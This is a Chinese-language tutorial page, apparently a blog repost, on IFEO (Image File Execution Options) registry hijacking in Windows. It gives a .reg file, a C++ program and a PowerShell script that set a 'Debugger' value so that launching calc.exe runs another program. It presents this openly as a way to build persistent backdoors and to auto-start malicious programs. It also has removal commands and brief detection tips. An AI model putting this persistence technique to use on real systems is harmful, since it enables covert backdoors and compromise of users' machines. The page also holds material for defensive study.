当前位置: 首页 > news >正文

IFEO劫持

IFEO 劫持,全称是 Image File Execution Options 劫持,是一种经典的 Windows 注册表劫持技术,常用于:

  • 调试器注入(调试器劫持)

  • 替换可执行文件(木马植入/后门)

  • 权限维持(持续存在)

  • 沙箱检测绕过 / 自动启动注入器

原理简介

Windows 注册表中的 Image File Execution Options(简称 IFEO)键可用于在程序运行前注入调试器等行为。
注册表路径如下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>
关键子键是:
"Debugger" = "C:\path\to\your\malicious.exe"
只要系统尝试运行 target.exe,它就会先运行 Debugger 指定的程序,而不是目标程序本身。

示例:劫持 calc.exe

手动操作(Regedit 或 reg.exe)

Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe]
"Debugger"="C:\\Windows\\System32\\cmd.exe"

执行 calc.exe → 实际运行的是 cmd.exe。

程序化实现(C++ 示例)

点击查看代码
#include <windows.h>
#include <iostream>int main() {HKEY hKey;LPCSTR target = "calc.exe";LPCSTR debuggerPath = "C:\\Windows\\System32\\cmd.exe";std::string keyPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + std::string(target);if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)debuggerPath, strlen(debuggerPath) + 1);RegCloseKey(hKey);std::cout << "IFEO 劫持成功" << std::endl;} else {std::cerr << "创建注册表键失败,请以管理员运行" << std::endl;}return 0;
}
注意:需要管理员权限才能修改 HKLM!

解除劫持

只需删除对应项:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /f

实战用途

用途说明
权限维持劫持系统工具,如 taskmgr.exe,执行后门
自启动劫持常用软件,用户打开时触发恶意程序
沙箱绕过沙箱中可能禁用此项,但用于检测是否运行在真实环境
调试用微软官方也使用此功能进行调试器附加
安全建议:
* 检查注册表下的 IFEO 项是否异常。
*不要随意以管理员运行未知程序。
*使用工具如 Autoruns、Process Monitor 排查。
PowerShell 脚本:设置 IFEO 劫持
点击查看代码
# 替换为你要劫持的目标程序
$targetExe = "calc.exe"# 替换为你要注入的调试器(恶意程序)
$debuggerPath = "C:\Windows\System32\cmd.exe"# 构造完整注册表路径
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$targetExe"# 创建注册表项(如果不存在)
if (-not (Test-Path $regPath)) {New-Item -Path $regPath -Force | Out-Null
}# 设置 Debugger 值
Set-ItemProperty -Path $regPath -Name "Debugger" -Value $debuggerPathWrite-Host "[+] IFEO 劫持已设置: $targetExe -> $debuggerPath"
解除劫持(还原)
点击查看代码
$targetExe = "calc.exe"
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$targetExe"# 删除整个项
if (Test-Path $regPath) {Remove-Item -Path $regPath -Recurse -ForceWrite-Host "[+] 已移除 IFEO 劫持: $targetExe"
} else {Write-Host "[!] 未找到劫持项"
}
注意事项
必须以管理员身份运行 PowerShell,否则会报权限错误。 劫持对象不建议为关键系统进程(如 explorer.exe、csrss.exe),可能导致系统不稳定或无法登录。 劫持文件必须存在,否则目标程序运行时会提示错误。

示例效果

劫持 calc.exe 后运行:

calc.exe

将弹出:

cmd.exe

可结合自身程序替换 cmd.exe 实现持久化后门或提醒器启动。

http://www.aitangshan.cn/news/321.html

相关文章:

  • GAS_Aura-Highlight Enemies
  • linux中node环境管理
  • 训练专有大模型的核心路径
  • 什么是 IAT Hook?
  • 学习新工具(覆盖程序员绝大部分需求的工具)(zz)
  • 20250811 之所思 - 人生如梦
  • 2025牛客多校第七场 双生、象牙 个人题解 - CUC
  • 大模型部署与应用的典型场景及技术挑战
  • 全球语言全覆盖:一款强大的多语言客服系统
  • Verify my blogs in Follow
  • MX-2025 盖世计划 C 班 Day 9 复盘
  • 题解:CF2048F Kevin and Math Class
  • 3.2~3.4.2数据类型关键词
  • 技术文章
  • 三星SAMSUNG SCX-4521F 一体机驱动
  • macos 开放3306端口
  • GAS_Aura-GameMode
  • telnet localhost 3306 -bash: telnet: command not found
  • Python面向对象实战之扑克游戏
  • vim常见操作
  • 可能是校内题单题解(20250811)
  • 无痕检测是否注册iMessage服务,iMessages数据筛选,iMessage蓝号检测完美实现
  • FWT 快速沃尔什变换
  • GAS_Aura-Movement Input
  • 字符串常用方法
  • Linux常用工具
  • 8/11
  • 项目调试
  • C++小白修仙记_LeetCode刷题_算数运算